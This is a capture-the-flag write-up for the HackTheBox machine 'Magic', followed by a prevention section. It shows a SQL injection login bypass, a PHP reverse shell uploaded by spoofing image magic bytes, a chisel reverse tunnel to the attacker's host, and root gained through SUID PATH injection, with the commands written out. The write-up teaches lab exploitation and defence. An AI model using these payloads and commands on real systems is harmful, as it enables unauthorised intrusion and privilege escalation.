HackTheBox - Magic
Description
Hello hackers, I hope you are doing well. We are doing Magic from HackTheBox.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for 10.10.10.185
Host is up (0.41s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06d489bf51f7fc0cf9085e9763648dca (RSA)
| 256 11a69298ce3540c729094f6c2d74aa66 (ECDSA)
|_ 256 7105991fa81b14d6038553f8788ecb88 (ED25519)
80/tcp open http?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We found OpenSSH on port 22 and an HTTP web server on port 80.
Web
Let’s navigate to the web page.
It’s a website for image.
On the bottom right we see a login link, let’s go there.
Trying some default credentials didn’t work but managed to login using a sql injection ' or 1=1 --
Let’s upload an image and see if it appears in the website.
I uploaded a codium logo and I we can clearly see it’s been added to the other images.
Opening the image in a new tabs reveals that the upload directory located at /images/uploads
.
Foothold
Now let’s upload a reverse shell.
It only allows images, this means there is a filter, let’s try adding an image extension at the end of the name(Exp: shell.php.png).
It detected what we’re trying to do and didn’t allow the upload.
Since the name of the box is Magic
, this might be a hint that the upload script is using the magic number as a filter.
Let’s see if that true by changing the magic number of our shell to the one of an image.
With the help of hexedit
, we change the first 4 Bytes with FF D8 FF E0
Press ctrl
+ X
to save.
Note: You might need to add
<?php
at the start of the php code since we’ve replaced it with the magic bytes.
Now if we uploaded the shell again with the extension .php.jpeg
, we can bypass the filter.
Now we setup a listener and request the file at /images/uploads/shell.php.jpeg
Great! We got access to the target.
Privilege Escalation
www-data –> theseus
Since there is a login page, let’s see if we can find any passwords in the web files.
On db.php5
file we found the database credentials, unfortunately for us the user theseus
doesn’t reuse his password.
Let’s connect to the mysql server with the command: mysql -u theseus -p
Mysql is not installed!!
Chisel
With the help of chisel
, let’s forward the mysql port and access it from out machine.
on the attacker machine we setup a chisel server:
1
./chisel server --reverse --port 9002
Now on the target we connect to the server:
1
./chisel client 10.10.17.90:9002 R:3306:localhost:3306
Now on our attacking machine we connect to the mysql server:
1
mysql -h 127.0.0.1 -P 3306 -u theseus -p
We found a password, let’s see if theseus
uses it.
1
2
3
4
www-data@ubuntu:/tmp/sirius$ su theseus
Password:
theseus@ubuntu:/tmp/sirius$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
He does!
theseus –> root
We see theseus
is part of a group called users
.
Let’s run linpeas.
There is an unknown suid binary the group users
can execute.
After running the binary it shows some information about the system.
Let’s run strings on it and see what command it’s running.
It’s running command without a full path, that our window to get root.
We will exploit it using a technique called Path Injection
First we create a copy of one of the commands the binary is running, I’ll be choosing fdisk
.
Now we put the command we want to execute as root:
1
cp /bin/bash /tmp/bash && chmod +s /tmp/bash > /tmp/fdisk
We put the command in a file named fdisk in the tmp directory, and don’t forget to give it execute permission chmod +x /tmp/fdisk
Now we inject the PATH variable by adding the /tmp
directory to it.
1
export PATH=/tmp:$PATH
Now we just run the /bin/sysinfo
, and we should find a copy of bash with suid permissions.
We just run /tmp/bash -p
to get a root shell.
Prevention
SQL injection
The login form is using the good old query for the login:
1
$stmt = $pdo->query("SELECT * FROM login WHERE username='$username' AND password='$password'");
The code is vulnerable because the user input is concatenated directly into the query
To prevent SQL injection, it’s better to use prepared statement and parameterized queries which separate the user input from the query structure.
For more detail check the OWASP SQL Injection Prevention Cheat Sheet
Upload Filters
The first filter the upload.php use is extensions:
1
2
3
4
5
6
7
8
// Check if image file is a actual image or fake image
if (isset($_POST["submit"])) {
// Allow certain file formats
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</script>";
$uploadOk = 0;
}
The code uses PATHINFO_EXTENSION
which strips the extension and stores is in the variable imageFileType
, if the file has multiple extensions it simply strips the last one.
The second filter is the magic bytes:
1
2
3
4
5
6
7
8
9
10
$allowed = array('2', '3');
[...]
if ($uploadOk === 1) {
// Check if image is actually png or jpg using magic bytes
$check = exif_imagetype($_FILES["image"]["tmp_name"]);
if (!in_array($check, $allowed)) {
echo "<script>alert('What are you trying to do there?')</script>";
$uploadOk = 0;
}
}
Here it used exif_imagetype
to read the first bytes of the file and checks it’s signature and returns a constant value.
The returned value is then compared to the ones in allowed
: $allowed = array('2', '3');
.
Another factor to count in this vulnerability is the configuration in the .htaccess
file.
1
2
3
4
5
6
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
<Files ~ "\.(sh|sql)">
order deny,allow
deny from all
The configuration above used a regular expression that matches php file extension anywhere in the file, and if it does then the file is executed by the server if it’s been requested.
If we check the php7.3.conf
file we find the following.
1
2
3
<FilesMatch ".+\.ph(ar|p|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
This one also has a regex for php file but we can see a $
at the end which means the php extension should be at the end of the file, this would have prevented us from executing our php script if it’s for the htaccess configuration that overwrites it.
Another ways to prevent the file upload vulnerability is to ensure that the uploads directory does not have execute permission, and use an established framework for preprocessing file uploads rather than attempting to write your own validation mechanisms.
Password
Passwords should never be stored in plain text but rather hashed using a strong hashing algorithms. The password also should not be reused.
SUID Path Injection
To avoid this vulnerability you simply add full path to the commands executed in the binary (e.g.,/bin/cat)
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).